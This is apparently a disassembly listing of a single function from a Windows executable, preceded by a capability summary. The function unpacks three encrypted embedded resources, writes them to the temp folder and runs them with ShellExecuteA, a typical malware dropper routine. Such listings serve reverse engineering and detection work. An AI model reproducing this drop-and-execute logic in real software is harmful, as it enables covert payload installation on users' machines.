Function at 0x401110
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
lea eax, [esp + 0x210]
push ebx
push ebp
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
push 0x96
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4013ee
mov edi, dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
call edi
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4013ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x4013ee
push 0xf
push ebx
push str.746419774641971
push ebp
call section..text
add esp, 0x10
push 0xa
push 0x98
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4013ee
push esi
push 0
call edi
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4013ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4013ee
push 0xf
push edi
push str.746419774641971
push esi
call section..text
mov ecx, dword [esi]
add esp, 0x10
mov dword [0x4084e8], ecx
mov edx, dword [esi + 4]
mov dword [0x4084ec], edx
mov eax, dword [esi + 8]
lea edx, [esp + 0x11c]
mov dword [0x4084e0], eax
mov ecx, dword [esi + 0xc]
push edx
push 0x104
mov dword [0x4084e4], ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
mov cl, byte [esp + eax + 0x11c]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x401212
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
mov eax, dword [0x40604c]
or ecx, 0xffffffff
mov dword [edi - 1], eax
mov edi, 0x4084e8
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push eax
push 2
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x2c]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4013ee
lea ecx, [esp + 0x14]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x4012b2
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x314
ret 0x10
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x11c]
push 5
push edx
lea eax, [esp + 0x20]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xa
push 0x97
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4013ee
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4013ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4013ee
push 0xf
push ebp
push str.746419774641971
push ebx
call section..text
add esp, 0x10
xor eax, eax
mov cl, byte [esp + eax + 0x11c]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x40132f
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
mov ecx, dword [0x406040]
mov dword [edi - 1], ecx
mov edi, 0x4084e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push eax
push 2
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x2c]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4013ee
lea ecx, [esp + 0x14]
push 0
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x4013ca
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x314
ret 0x10
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x11c]
push 5
push edx
lea eax, [esp + 0x20]
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x314
ret 0x10